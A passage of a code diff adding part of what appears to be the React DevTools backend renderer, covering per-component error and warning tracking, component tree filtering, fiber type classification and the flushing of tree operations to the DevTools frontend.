+          componentLogsEntry.errors.clear();
+          componentLogsEntry.errorsCount = 0;
+        } else {
+          componentLogsEntry.warnings.clear();
+          componentLogsEntry.warningsCount = 0;
+        }
+        const changed = recordConsoleLogs(devtoolsInstance, componentLogsEntry);
+        if (changed) {
+          flushPendingEvents(null);
+          updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);
+        }
+      }
+    }
+  }
+
+  function clearErrorsForElementID(instanceID: number) {
+    clearConsoleLogsHelper(instanceID, 'error');
+  }
+
+  function clearWarningsForElementID(instanceID: number) {
+    clearConsoleLogsHelper(instanceID, 'warn');
+  }
+
+  function updateMostRecentlyInspectedElementIfNecessary(
+    fiberID: number,
+  ): void {
+    if (
+      mostRecentlyInspectedElement !== null &&
+      mostRecentlyInspectedElement.id === fiberID
+    ) {
+      hasElementUpdatedSinceLastInspected = true;
+    }
+  }
+
+  function getComponentStack(
+    topFrame: Error,
+  ): null | {enableOwnerStacks: boolean, componentStack: string} {
+    if (getCurrentFiber == null) {
+      // Expected this to be part of the renderer. Ignore.
+      return null;
+    }
+    const current = getCurrentFiber();
+    if (current === null) {
+      // Outside of our render scope.
+      return null;
+    }
+
+    if (supportsConsoleTasks(current)) {
+      // This will be handled natively by console.createTask. No need for
+      // DevTools to add it.
+      return null;
+    }
+
+    const dispatcherRef = getDispatcherRef(renderer);
+    if (dispatcherRef === undefined) {
+      return null;
+    }
+
+    const enableOwnerStacks = supportsOwnerStacks(current);
+    let componentStack = '';
+    if (enableOwnerStacks) {
+      // Prefix the owner stack with the current stack. I.e. what called
+      // console.error. While this will also be part of the native stack,
+      // it is hidden and not presented alongside this argument so we print
+      // them all together.
+      const topStackFrames = formatOwnerStack(topFrame);
+      if (topStackFrames) {
+        componentStack += '\n' + topStackFrames;
+      }
+      componentStack += getOwnerStackByFiberInDev(
+        ReactTypeOfWork,
+        current,
+        dispatcherRef,
+      );
+    } else {
+      componentStack = getStackByFiberInDevAndProd(
+        ReactTypeOfWork,
+        current,
+        dispatcherRef,
+      );
+    }
+    return {enableOwnerStacks, componentStack};
+  }
+
+  // Called when an error or warning is logged during render, commit, or passive (including unmount functions).
+  function onErrorOrWarning(
+    type: 'error' | 'warn',
+    args: $ReadOnlyArray<any>,
+  ): void {
+    if (getCurrentFiber == null) {
+      // Expected this to be part of the renderer. Ignore.
+      return;
+    }
+    const fiber = getCurrentFiber();
+    if (fiber === null) {
+      // Outside of our render scope.
+      return;
+    }
+    if (type === 'error') {
+      // if this is an error simulated by us to trigger error boundary, ignore
+      if (
+        forceErrorForFibers.get(fiber) === true ||
+        (fiber.alternate !== null &&
+          forceErrorForFibers.get(fiber.alternate) === true)
+      ) {
+        return;
+      }
+    }
+
+    // We can't really use this message as a unique key, since we can't distinguish
+    // different objects in this implementation. We have to delegate displaying of the objects
+    // to the environment, the browser console, for example, so this is why this should be kept
+    // as an array of arguments, instead of the plain string.
+    // [Warning: %o, {...}] and [Warning: %o, {...}] will be considered as the same message,
+    // even if objects are different
+    const message = formatConsoleArgumentsToSingleString(...args);
+
+    // Track the warning/error for later.
+    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);
+    if (componentLogsEntry === undefined && fiber.alternate !== null) {
+      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);
+      if (componentLogsEntry !== undefined) {
+        // Use the same set for both Fibers.
+        fiberToComponentLogsMap.set(fiber, componentLogsEntry);
+      }
+    }
+    if (componentLogsEntry === undefined) {
+      componentLogsEntry = {
+        errors: new Map(),
+        errorsCount: 0 as number,
+        warnings: new Map(),
+        warningsCount: 0 as number,
+      };
+      fiberToComponentLogsMap.set(fiber, componentLogsEntry);
+    }
+
+    const messageMap =
+      type === 'error'
+        ? componentLogsEntry.errors
+        : componentLogsEntry.warnings;
+    const count = messageMap.get(message) || 0;
+    messageMap.set(message, count + 1);
+    if (type === 'error') {
+      componentLogsEntry.errorsCount++;
+    } else {
+      componentLogsEntry.warningsCount++;
+    }
+
+    // The changes will be flushed later when we commit.
+
+    // If the log happened in a passive effect, then this happens after we've
+    // already committed the new tree so the change won't show up until we rerender
+    // that component again. We need to visit a Component with passive effects in
+    // handlePostCommitFiberRoot again to ensure that we flush the changes after passive.
+    needsToFlushComponentLogs = true;
+  }
+
+  function debug(
+    name: string,
+    instance: DevToolsInstance,
+    parentInstance: null | DevToolsInstance,
+    extraString: string = '',
+  ): void {
+    if (__DEBUG__) {
+      const displayName =
+        instance.kind === VIRTUAL_INSTANCE
+          ? instance.data.name || 'null'
+          : instance.data.tag +
+            ':' +
+            (getDisplayNameForFiber(instance.data) || 'null');
+
+      const maybeID =
+        instance.kind === FILTERED_FIBER_INSTANCE ? '<no id>' : instance.id;
+
+      const parentDisplayName =
+        parentInstance === null
+          ? ''
+          : parentInstance.kind === VIRTUAL_INSTANCE
+            ? parentInstance.data.name || 'null'
+            : parentInstance.data.tag +
+              ':' +
+              (getDisplayNameForFiber(parentInstance.data) || 'null');
+
+      const maybeParentID =
+        parentInstance === null ||
+        parentInstance.kind === FILTERED_FIBER_INSTANCE
+          ? '<no id>'
+          : parentInstance.id;
+
+      console.groupCollapsed(
+        `[renderer] %c${name} %c${displayName} (${maybeID}) %c${
+          parentInstance ? `${parentDisplayName} (${maybeParentID})` : ''
+        } %c${extraString}`,
+        'color: red; font-weight: bold;',
+        'color: blue;',
+        'color: purple;',
+        'color: black;',
+      );
+      console.log(new Error().stack.split('\n').slice(1).join('\n'));
+      console.groupEnd();
+    }
+  }
+
+  // eslint-disable-next-line no-unused-vars
+  function debugTree(instance: DevToolsInstance, indent: number = 0) {
+    if (__DEBUG__) {
+      const name =
+        (instance.kind !== VIRTUAL_INSTANCE
+          ? getDisplayNameForFiber(instance.data)
+          : instance.data.name) || '';
+      console.log(
+        '  '.repeat(indent) +
+          '- ' +
+          (instance.kind === FILTERED_FIBER_INSTANCE ? 0 : instance.id) +
+          ' (' +
+          name +
+          ')',
+        'parent',
+        instance.parent === null
+          ? ' '
+          : instance.parent.kind === FILTERED_FIBER_INSTANCE
+            ? 0
+            : instance.parent.id,
+        'next',
+        instance.nextSibling === null ? ' ' : instance.nextSibling.id,
+      );
+      let child = instance.firstChild;
+      while (child !== null) {
+        debugTree(child, indent + 1);
+        child = child.nextSibling;
+      }
+    }
+  }
+
+  // Configurable Components tree filters.
+  const hideElementsWithDisplayNames: Set<RegExp> = new Set();
+  const hideElementsWithPaths: Set<RegExp> = new Set();
+  const hideElementsWithTypes: Set<ElementType> = new Set();
+  const hideElementsWithEnvs: Set<string> = new Set();
+  let isInFocusedActivity: boolean = true;
+
+  // Highlight updates
+  let traceUpdatesEnabled: boolean = false;
+  const traceUpdatesForNodes: Set<HostInstance> = new Set();
+
+  function applyComponentFilters(
+    componentFilters: Array<ComponentFilter>,
+    nextActivitySlice: null | Fiber,
+  ) {
+    hideElementsWithTypes.clear();
+    hideElementsWithDisplayNames.clear();
+    hideElementsWithPaths.clear();
+    hideElementsWithEnvs.clear();
+    const previousFocusedActivityID = focusedActivityID;
+    focusedActivityID = null;
+    focusedActivity = null;
+    // Consider everything in the slice by default
+    isInFocusedActivity = true;
+
+    componentFilters.forEach(componentFilter => {
+      if (!componentFilter.isEnabled) {
+        return;
+      }
+
+      switch (componentFilter.type) {
+        case ComponentFilterDisplayName:
+          if (componentFilter.isValid && componentFilter.value !== '') {
+            hideElementsWithDisplayNames.add(
+              new RegExp(componentFilter.value, 'i'),
+            );
+          }
+          break;
+        case ComponentFilterElementType:
+          hideElementsWithTypes.add(componentFilter.value);
+          break;
+        case ComponentFilterLocation:
+          if (componentFilter.isValid && componentFilter.value !== '') {
+            hideElementsWithPaths.add(new RegExp(componentFilter.value, 'i'));
+          }
+          break;
+        case ComponentFilterHOC:
+          hideElementsWithDisplayNames.add(new RegExp('\\('));
+          break;
+        case ComponentFilterEnvironmentName:
+          hideElementsWithEnvs.add(componentFilter.value);
+          break;
+        case ComponentFilterActivitySlice:
+          if (
+            nextActivitySlice !== null &&
+            nextActivitySlice.tag === ActivityComponent
+          ) {
+            focusedActivity = nextActivitySlice;
+            isInFocusedActivity = false;
+            if (componentFilter.rendererID !== rendererID) {
+              // We filtered an Activity from another renderer.
+              // We need to restore the instance ID since we won't be mounting it
+              // in this renderer.
+              focusedActivityID = previousFocusedActivityID;
+            }
+          } else {
+            // We're not filtering by activity slice after all.
+            // Don't mark the filter as disabled here.
+            // Otherwise updateComponentFilters() will think no enabled filter was changed.
+          }
+          break;
+        default:
+          console.warn(
+            `Invalid component filter type "${componentFilter.type}"`,
+          );
+          break;
+      }
+    });
+  }
+
+  if (Array.isArray(componentFiltersOrComponentFiltersPromise)) {
+    applyComponentFilters(componentFiltersOrComponentFiltersPromise, null);
+  } else {
+    componentFiltersOrComponentFiltersPromise.then(componentFilters => {
+      applyComponentFilters(componentFilters, null);
+    });
+  }
+
+  // If necessary, we can revisit optimizing this operation.
+  // For example, we could add a new recursive unmount tree operation.
+  // The unmount operations are already significantly smaller than mount operations though.
+  // This is something to keep in mind for later.
+  function updateComponentFilters(componentFilters: Array<ComponentFilter>) {
+    if (isProfiling) {
+      // Re-mounting a tree while profiling is in progress might break a lot of assumptions.
+      // If necessary, we could support this- but it doesn't seem like a necessary use case.
+      // Supporting change of filters while profiling would require a refactor
+      // to flush after each root instead of at the end.
+      throw Error('Cannot modify filter preferences while profiling');
+    }
+
+    const previousForcedFallbacks =
+      forceFallbackForFibers.size > 0 ? new Set(forceFallbackForFibers) : null;
+    const previousForcedErrors =
+      forceErrorForFibers.size > 0 ? new Map(forceErrorForFibers) : null;
+
+    // The ID will be based on the old tree. We need to find the Fiber based on
+    // that ID before we unmount everything. We set the activity slice ID once
+    // we mount it again.
+    let nextFocusedActivity: null | Fiber = null;
+    let focusedActivityFilter: null | ActivitySliceFilter = null;
+    for (let i = 0; i < componentFilters.length; i++) {
+      const filter = componentFilters[i];
+      if (filter.type === ComponentFilterActivitySlice && filter.isEnabled) {
+        focusedActivityFilter = filter;
+        const instance = idToDevToolsInstanceMap.get(filter.activityID);
+        if (instance !== undefined && instance.kind === FIBER_INSTANCE) {
+          nextFocusedActivity = instance.data;
+        }
+      }
+    }
+
+    // Recursively unmount all roots.
+    hook.getFiberRoots(rendererID).forEach(root => {
+      const rootInstance = rootToFiberInstanceMap.get(root);
+      if (rootInstance === undefined) {
+        throw new Error(
+          'Expected the root instance to already exist when applying filters',
+        );
+      }
+      currentRoot = rootInstance;
+      unmountInstanceRecursively(rootInstance);
+      rootToFiberInstanceMap.delete(root);
+      currentRoot = (null: any);
+    });
+
+    if (
+      nextFocusedActivity !== focusedActivity &&
+      (focusedActivityFilter === null ||
+        focusedActivityFilter.rendererID === rendererID)
+    ) {
+      // When we find the applied instance during mount we will send the actual ID.
+      // Otherwise 0 will indicate that we unfocused the activity slice.
+      pushOperation(TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE);
+      pushOperation(0);
+    }
+    applyComponentFilters(componentFilters, nextFocusedActivity);
+
+    // Reset pseudo counters so that new path selections will be persisted.
+    rootDisplayNameCounter.clear();
+
+    // We just cleared all the forced states. Schedule updates on the affected Fibers
+    // so that we get their initial states again according to the new filters.
+    if (typeof scheduleUpdate === 'function') {
+      if (previousForcedFallbacks !== null) {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const fiber of previousForcedFallbacks) {
+          if (typeof scheduleRetry === 'function') {
+            scheduleRetry(fiber);
+          } else {
+            scheduleUpdate(fiber);
+          }
+        }
+      }
+      if (
+        previousForcedErrors !== null &&
+        typeof setErrorHandler === 'function'
+      ) {
+        // Unlike for Suspense, disabling the forced error state requires setting
+        // the status to false first. `shouldErrorFiberAccordingToMap` will clear
+        // the Fibers later.
+        setErrorHandler(shouldErrorFiberAccordingToMap);
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const [fiber, shouldError] of previousForcedErrors) {
+          forceErrorForFibers.set(fiber, false);
+          if (shouldError) {
+            if (typeof scheduleRetry === 'function') {
+              scheduleRetry(fiber);
+            } else {
+              scheduleUpdate(fiber);
+            }
+          }
+        }
+      }
+    }
+
+    // Recursively re-mount all roots with new filter criteria applied.
+    hook.getFiberRoots(rendererID).forEach(root => {
+      const current = root.current;
+      const newRoot = createFiberInstance(current);
+      rootToFiberInstanceMap.set(root, newRoot);
+      idToDevToolsInstanceMap.set(newRoot.id, newRoot);
+
+      // Before the traversals, remember to start tracking
+      // our path in case we have selection to restore.
+      if (trackedPath !== null) {
+        mightBeOnTrackedPath = true;
+      }
+
+      currentRoot = newRoot;
+      setRootPseudoKey(currentRoot.id, root.current);
+      mountFiberRecursively(root.current, false);
+      currentRoot = (null: any);
+    });
+
+    // We need to write back the new ID for the focused Fiber.
+    // Otherwise subsequent filter applications will try to focus based on the old ID.
+    // This is also relevant to filter across renderers.
+    if (focusedActivityFilter !== null && focusedActivityID !== null) {
+      focusedActivityFilter.activityID = focusedActivityID;
+    }
+
+    // We're not profiling so it's safe to flush without a specific root.
+    flushPendingEvents(null);
+
+    needsToFlushComponentLogs = false;
+  }
+
+  function getEnvironmentNames(): Array<string> {
+    return Array.from(knownEnvironmentNames);
+  }
+
+  function isFiberHydrated(fiber: Fiber): boolean {
+    if (OffscreenComponent === -1) {
+      throw new Error('not implemented for legacy suspense');
+    }
+    switch (fiber.tag) {
+      case HostRoot:
+        const rootState = fiber.memoizedState;
+        return !rootState.isDehydrated;
+      case SuspenseComponent:
+        const suspenseState = fiber.memoizedState;
+        return suspenseState === null || suspenseState.dehydrated === null;
+      default:
+        throw new Error('not implemented for work tag ' + fiber.tag);
+    }
+  }
+
+  function shouldFilterVirtual(
+    data: ReactComponentInfo,
+    secondaryEnv: null | string,
+  ): boolean {
+    if (!isInFocusedActivity) {
+      return true;
+    }
+
+    // For purposes of filtering Server Components are always Function Components.
+    // Environment will be used to filter Server vs Client.
+    // Technically they can be forwardRef and memo too but those filters will go away
+    // as those become just plain user space function components like any HoC.
+    if (hideElementsWithTypes.has(ElementTypeFunction)) {
+      return true;
+    }
+
+    if (hideElementsWithDisplayNames.size > 0) {
+      const displayName = data.name;
+      if (displayName != null) {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const displayNameRegExp of hideElementsWithDisplayNames) {
+          if (displayNameRegExp.test(displayName)) {
+            return true;
+          }
+        }
+      }
+    }
+
+    if (
+      (data.env == null || hideElementsWithEnvs.has(data.env)) &&
+      (secondaryEnv === null || hideElementsWithEnvs.has(secondaryEnv))
+    ) {
+      // If a Component has two environments, you have to filter both for it not to appear.
+      return true;
+    }
+
+    return false;
+  }
+
+  // NOTICE Keep in sync with get*ForFiber methods
+  function shouldFilterFiber(fiber: Fiber): boolean {
+    const {tag, type, key} = fiber;
+
+    // It is never valid to filter the root element.
+    if (tag !== HostRoot && !isInFocusedActivity) {
+      return true;
+    }
+
+    switch (tag) {
+      case DehydratedSuspenseComponent:
+        // TODO: ideally we would show dehydrated Suspense immediately.
+        // However, it has some special behavior (like disconnecting
+        // an alternate and turning into real Suspense) which breaks DevTools.
+        // For now, ignore it, and only show it once it gets hydrated.
+        // https://github.com/bvaughn/react-devtools-experimental/issues/197
+        return true;
+      case HostPortal:
+      case HostText:
+      case LegacyHiddenComponent:
+      case OffscreenComponent:
+      case Throw:
+        return true;
+      case HostRoot:
+        // It is never valid to filter the root element.
+        return false;
+      case Fragment:
+        return key === null;
+      default:
+        const typeSymbol = getTypeSymbol(type);
+
+        switch (typeSymbol) {
+          case CONCURRENT_MODE_NUMBER:
+          case CONCURRENT_MODE_SYMBOL_STRING:
+          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
+          case STRICT_MODE_NUMBER:
+          case STRICT_MODE_SYMBOL_STRING:
+            return true;
+          default:
+            break;
+        }
+    }
+
+    const elementType = getElementTypeForFiber(fiber);
+    if (hideElementsWithTypes.has(elementType)) {
+      return true;
+    }
+
+    if (hideElementsWithDisplayNames.size > 0) {
+      const displayName = getDisplayNameForFiber(fiber);
+      if (displayName != null) {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const displayNameRegExp of hideElementsWithDisplayNames) {
+          if (displayNameRegExp.test(displayName)) {
+            return true;
+          }
+        }
+      }
+    }
+
+    if (hideElementsWithEnvs.has('Client')) {
+      // If we're filtering out the Client environment we should filter out all
+      // "Client Components". Technically that also includes the built-ins but
+      // since that doesn't actually include any additional code loading it's
+      // useful to not filter out the built-ins. Those can be filtered separately.
+      // There's no other way to filter out just Function components on the Client.
+      // Therefore, this only filters Class and Function components.
+      switch (tag) {
+        case ClassComponent:
+        case IncompleteClassComponent:
+        case IncompleteFunctionComponent:
+        case FunctionComponent:
+        case IndeterminateComponent:
+        case ForwardRef:
+        case MemoComponent:
+        case SimpleMemoComponent:
+          return true;
+      }
+    }
+
+    /* DISABLED: https://github.com/facebook/react/pull/28417
+    if (hideElementsWithPaths.size > 0) {
+      const source = getSourceForFiber(fiber);
+
+      if (source != null) {
+        const {fileName} = source;
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const pathRegExp of hideElementsWithPaths) {
+          if (pathRegExp.test(fileName)) {
+            return true;
+          }
+        }
+      }
+    }
+    */
+
+    return false;
+  }
+
+  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods
+  function getElementTypeForFiber(fiber: Fiber): ElementType {
+    const {type, tag} = fiber;
+
+    switch (tag) {
+      case ActivityComponent:
+        return ElementTypeActivity;
+      case ClassComponent:
+      case IncompleteClassComponent:
+        return ElementTypeClass;
+      case IncompleteFunctionComponent:
+      case FunctionComponent:
+      case IndeterminateComponent:
+        return ElementTypeFunction;
+      case ForwardRef:
+        return ElementTypeForwardRef;
+      case HostRoot:
+        return ElementTypeRoot;
+      case HostComponent:
+      case HostHoistable:
+      case HostSingleton:
+        return ElementTypeHostComponent;
+      case HostPortal:
+      case HostText:
+      case Fragment:
+        return ElementTypeOtherOrUnknown;
+      case MemoComponent:
+      case SimpleMemoComponent:
+        return ElementTypeMemo;
+      case SuspenseComponent:
+        return ElementTypeSuspense;
+      case SuspenseListComponent:
+        return ElementTypeSuspenseList;
+      case TracingMarkerComponent:
+        return ElementTypeTracingMarker;
+      case ViewTransitionComponent:
+        return ElementTypeViewTransition;
+      default:
+        const typeSymbol = getTypeSymbol(type);
+
+        switch (typeSymbol) {
+          case CONCURRENT_MODE_NUMBER:
+          case CONCURRENT_MODE_SYMBOL_STRING:
+          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
+            return ElementTypeOtherOrUnknown;
+          case PROVIDER_NUMBER:
+          case PROVIDER_SYMBOL_STRING:
+            return ElementTypeContext;
+          case CONTEXT_NUMBER:
+          case CONTEXT_SYMBOL_STRING:
+            return ElementTypeContext;
+          case STRICT_MODE_NUMBER:
+          case STRICT_MODE_SYMBOL_STRING:
+            return ElementTypeOtherOrUnknown;
+          case PROFILER_NUMBER:
+          case PROFILER_SYMBOL_STRING:
+            return ElementTypeProfiler;
+          default:
+            return ElementTypeOtherOrUnknown;
+        }
+    }
+  }
+
+  // When a mount or update is in progress, this value tracks the root that is being operated on.
+  let currentRoot: FiberInstance = (null: any);
+
+  // Removes a Fiber (and its alternate) from the Maps used to track their id.
+  // This method should always be called when a Fiber is unmounting.
+  function untrackFiber(nearestInstance: DevToolsInstance, fiber: Fiber) {
+    if (forceErrorForFibers.size > 0) {
+      forceErrorForFibers.delete(fiber);
+      if (fiber.alternate) {
+        forceErrorForFibers.delete(fiber.alternate);
+      }
+      if (forceErrorForFibers.size === 0 && setErrorHandler != null) {
+        setErrorHandler(shouldErrorFiberAlwaysNull);
+      }
+    }
+
+    if (forceFallbackForFibers.size > 0) {
+      forceFallbackForFibers.delete(fiber);
+      if (fiber.alternate) {
+        forceFallbackForFibers.delete(fiber.alternate);
+      }
+      if (forceFallbackForFibers.size === 0 && setSuspenseHandler != null) {
+        setSuspenseHandler(shouldSuspendFiberAlwaysFalse);
+      }
+    }
+
+    // TODO: Consider using a WeakMap instead. The only thing where that doesn't work
+    // is React Native Paper which tracks tags but that support is eventually going away
+    // and can use the old findFiberByHostInstance strategy.
+
+    if (fiber.tag === HostHoistable) {
+      releaseHostResource(nearestInstance, fiber.memoizedState);
+    } else if (
+      fiber.tag === HostComponent ||
+      fiber.tag === HostText ||
+      fiber.tag === HostSingleton
+    ) {
+      releaseHostInstance(nearestInstance, fiber.stateNode);
+    }
+
+    // Recursively clean up any filtered Fibers below this one as well since
+    // we won't recordUnmount on those.
+    for (let child = fiber.child; child !== null; child = child.sibling) {
+      if (shouldFilterFiber(child)) {
+        untrackFiber(nearestInstance, child);
+      }
+    }
+  }
+
+  function getChangeDescription(
+    prevFiber: Fiber | null,
+    nextFiber: Fiber,
+  ): ChangeDescription | null {
+    switch (nextFiber.tag) {
+      case ClassComponent:
+        if (prevFiber === null) {
+          return {
+            context: null,
+            didHooksChange: false,
+            isFirstMount: true,
+            props: null,
+            state: null,
+          };
+        } else {
+          const data: ChangeDescription = {
+            context: getContextChanged(prevFiber, nextFiber),
+            didHooksChange: false,
+            isFirstMount: false,
+            props: getChangedKeys(
+              prevFiber.memoizedProps,
+              nextFiber.memoizedProps,
+            ),
+            state: getChangedKeys(
+              prevFiber.memoizedState,
+              nextFiber.memoizedState,
+            ),
+          };
+          return data;
+        }
+      case IncompleteFunctionComponent:
+      case FunctionComponent:
+      case IndeterminateComponent:
+      case ForwardRef:
+      case MemoComponent:
+      case SimpleMemoComponent:
+        if (prevFiber === null) {
+          return {
+            context: null,
+            didHooksChange: false,
+            isFirstMount: true,
+            props: null,
+            state: null,
+          };
+        } else {
+          const prevHooks = inspectHooks(prevFiber);
+          const nextHooks = inspectHooks(nextFiber);
+          const indices = getChangedHooksIndices(prevHooks, nextHooks);
+          const data: ChangeDescription = {
+            context: getContextChanged(prevFiber, nextFiber),
+            didHooksChange: indices !== null && indices.length > 0,
+            isFirstMount: false,
+            props: getChangedKeys(
+              prevFiber.memoizedProps,
+              nextFiber.memoizedProps,
+            ),
+            state: null,
+            hooks: indices,
+          };
+          // Only traverse the hooks list once, depending on what info we're returning.
+          return data;
+        }
+      default:
+        return null;
+    }
+  }
+
+  type OperationsArray = Array<number>;
+
+  type StringTableEntry = {
+    encodedString: Array<number>,
+    id: number,
+  };
+
+  const pendingOperations: OperationsArray = [];
+  const pendingRealUnmountedIDs: Array<FiberInstance['id']> = [];
+  const pendingRealUnmountedSuspenseIDs: Array<FiberInstance['id']> = [];
+  const pendingSuspenderChanges: Set<FiberInstance['id']> = new Set();
+  let pendingOperationsQueue: Array<OperationsArray> | null = [];
+  const pendingStringTable: Map<string, StringTableEntry> = new Map();
+  let pendingStringTableLength: number = 0;
+
+  function pushOperation(op: number): void {
+    if (__DEV__) {
+      if (!Number.isInteger(op)) {
+        console.error(
+          'pushOperation() was called but the value is not an integer.',
+          op,
+        );
+      }
+    }
+    pendingOperations.push(op);
+  }
+
+  function shouldBailoutWithPendingOperations() {
+    if (isProfiling) {
+      if (
+        currentCommitProfilingMetadata != null &&
+        currentCommitProfilingMetadata.durations.length > 0
+      ) {
+        return false;
+      }
+    }
+
+    return (
+      pendingOperations.length === 0 &&
+      pendingRealUnmountedIDs.length === 0 &&
+      pendingRealUnmountedSuspenseIDs.length === 0 &&
+      pendingSuspenderChanges.size === 0
+    );
+  }
+
+  function flushOrQueueOperations(operations: OperationsArray): void {
+    if (shouldBailoutWithPendingOperations()) {
+      return;
+    }
+
+    if (pendingOperationsQueue !== null) {
+      pendingOperationsQueue.push(operations);
+    } else {
+      hook.emit('operations', operations);
+    }
+  }
+
+  function recordConsoleLogs(
+    instance: FiberInstance | VirtualInstance,
+    componentLogsEntry: void | ComponentLogs,
+  ): boolean {
+    if (componentLogsEntry === undefined) {
+      if (instance.logCount === 0) {
+        // Nothing has changed.
+        return false;
+      }
+      // Reset to zero.
+      instance.logCount = 0;
+      pushOperation(TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS);
+      pushOperation(instance.id);
+      pushOperation(0);
+      pushOperation(0);
+      return true;
+    } else {
+      const totalCount =
+        componentLogsEntry.errorsCount + componentLogsEntry.warningsCount;
+      if (instance.logCount === totalCount) {
+        // Nothing has changed.
+        return false;
+      }
+      // Update counts.
+      instance.logCount = totalCount;
+      pushOperation(TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS);
+      pushOperation(instance.id);
+      pushOperation(componentLogsEntry.errorsCount);
+      pushOperation(componentLogsEntry.warningsCount);
+      return true;
+    }
+  }
+
+  /**
+   * Allowed to flush pending events without a specific root when:
+   * - pending operations don't record tree mutations e.g. TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS
+   * - not profiling (the commit tree builder requires the root of the mutations)
+   */
+  function flushPendingEvents(root: FiberInstance | null): void {
+    if (shouldBailoutWithPendingOperations()) {
+      // If we aren't profiling, we can just bail out here.
+      // No use sending an empty update over the bridge.
+      //
+      // The Profiler stores metadata for each commit and reconstructs the app tree per commit using:
+      // (1) an initial tree snapshot and
+      // (2) the operations array for each commit
+      // Because of this, it's important that the operations and metadata arrays align,
+      // So it's important not to omit even empty operations while profiling is active.
+      return;
+    }
+
+    const numUnmountIDs = pendingRealUnmountedIDs.length;
+    const numUnmountSuspenseIDs = pendingRealUnmountedSuspenseIDs.length;
+    const numSuspenderChanges = pendingSuspenderChanges.size;
+
+    const operations = new Array<number>(
+      // Identify which renderer this update is coming from.
+      2 + // [rendererID, rootFiberID]
+        // How big is the string table?
+        1 + // [stringTableLength]
+        // Then goes the actual string table.
+        pendingStringTableLength +
+        // All unmounts of Suspense boundaries are batched in a single message.
+        // [TREE_OPERATION_REMOVE_SUSPENSE, removedSuspenseIDLength, ...ids]
+        (numUnmountSuspenseIDs > 0 ? 2 + numUnmountSuspenseIDs : 0) +
+        // All unmounts are batched in a single message.
+        // [TREE_OPERATION_REMOVE, removedIDLength, ...ids]
+        (numUnmountIDs > 0 ? 2 + numUnmountIDs : 0) +
+        // Regular operations
+        pendingOperations.length +
+        // All suspender changes are batched in a single message.
+        // [SUSPENSE_TREE_OPERATION_SUSPENDERS, suspenderChangesLength, ...[id, hasUniqueSuspenders, endTime, isSuspended]]
+        (numSuspenderChanges > 0 ? 2 + numSuspenderChanges * 4 : 0),
+    );
+
+    // Identify which renderer this update is coming from.
+    // This enables roots to be mapped to renderers,
+    // Which in turn enables fiber props, states, and hooks to be inspected.
+    let i = 0;
+    operations[i++] = rendererID;
+    if (root === null) {
+      operations[i++] = -1;
+    } else {
+      operations[i++] = root.id;
+    }
+
+    // Now fill in the string table.
+    // [stringTableLength, str1Length, ...str1, str2Length, ...str2, ...]
+    operations[i++] = pendingStringTableLength;
+    pendingStringTable.forEach((entry, stringKey) => {
+      const encodedString = entry.encodedString;
+
+      // Don't use the string length.
+      // It won't work for multibyte characters (like emoji).
+      const length = encodedString.length;
+
+      operations[i++] = length;
+      for (let j = 0; j < length; j++) {
+        operations[i + j] = encodedString[j];
+      }
+
+      i += length;
+    });
+
+    if (numUnmountSuspenseIDs > 0) {
+      // All unmounts of Suspense boundaries are batched in a single message.
+      operations[i++] = SUSPENSE_TREE_OPERATION_REMOVE;
+      // The first number is how many unmounted IDs we're gonna send.
+      operations[i++] = numUnmountSuspenseIDs;
+      // Fill in the real unmounts in the reverse order.
+      // They were inserted parents-first by React, but we want children-first.
+      // So we traverse our array backwards.
+      for (let j = 0; j < pendingRealUnmountedSuspenseIDs.length; j++) {
+        operations[i++] = pendingRealUnmountedSuspenseIDs[j];
+      }
+    }
+
+    if (numUnmountIDs > 0) {
+      // All unmounts except roots are batched in a single message.
+      operations[i++] = TREE_OPERATION_REMOVE;
+      // The first number is how many unmounted IDs we're gonna send.
+      operations[i++] = numUnmountIDs;
+      // Fill in the real unmounts in the reverse order.
+      // They were inserted parents-first by React, but we want children-first.
+      // So we traverse our array backwards.
+      for (let j = 0; j < pendingRealUnmountedIDs.length; j++) {
+        operations[i++] = pendingRealUnmountedIDs[j];
+      }
+    }
+
+    // Fill in pending operations.
+    for (let j = 0; j < pendingOperations.length; j++) {
+      operations[i + j] = pendingOperations[j];
+    }
+    i += pendingOperations.length;
+
+    // Suspender changes might affect newly mounted nodes that we already recorded
+    // in pending operations.
+    if (numSuspenderChanges > 0) {
+      operations[i++] = SUSPENSE_TREE_OPERATION_SUSPENDERS;
+      operations[i++] = numSuspenderChanges;
+      pendingSuspenderChanges.forEach(fiberIdWithChanges => {
+        const suspense = idToSuspenseNodeMap.get(fiberIdWithChanges);
+        if (suspense === undefined) {
+          // Probably forgot to cleanup pendingSuspenderChanges when this node was removed.
+          throw new Error(
+            `Could not send suspender changes for "${fiberIdWithChanges}" since the Fiber no longer exists.`,
+          );
+        }
+        operations[i++] = fiberIdWithChanges;
+        operations[i++] = suspense.hasUniqueSuspenders ? 1 : 0;
+        operations[i++] = Math.round(suspense.endTime * 1000);
+        const instance = suspense.instance;
+        const isSuspended =
+          // TODO: Track if other SuspenseNode like SuspenseList rows are suspended.
+          (instance.kind === FIBER_INSTANCE ||
+            instance.kind === FILTERED_FIBER_INSTANCE) &&
+          instance.data.tag === SuspenseComponent &&
+          instance.data.memoizedState !== null;
+        operations[i++] = isSuspended ? 1 : 0;
+        operations[i++] = suspense.environments.size;
+        suspense.environments.forEach((count, env) => {
+          operations[i++] = getStringID(env);
+        });
+      });
+    }
+
+    // Let the frontend know about tree operations.
+    flushOrQueueOperations(operations);
+
+    // Reset all of the pending state now that we've told the frontend about it.
+    pendingOperations.length = 0;
+    pendingRealUnmountedIDs.length = 0;
+    pendingRealUnmountedSuspenseIDs.length = 0;
+    pendingSuspenderChanges.clear();
+    pendingStringTable.clear();
+    pendingStringTableLength = 0;
+  }
+
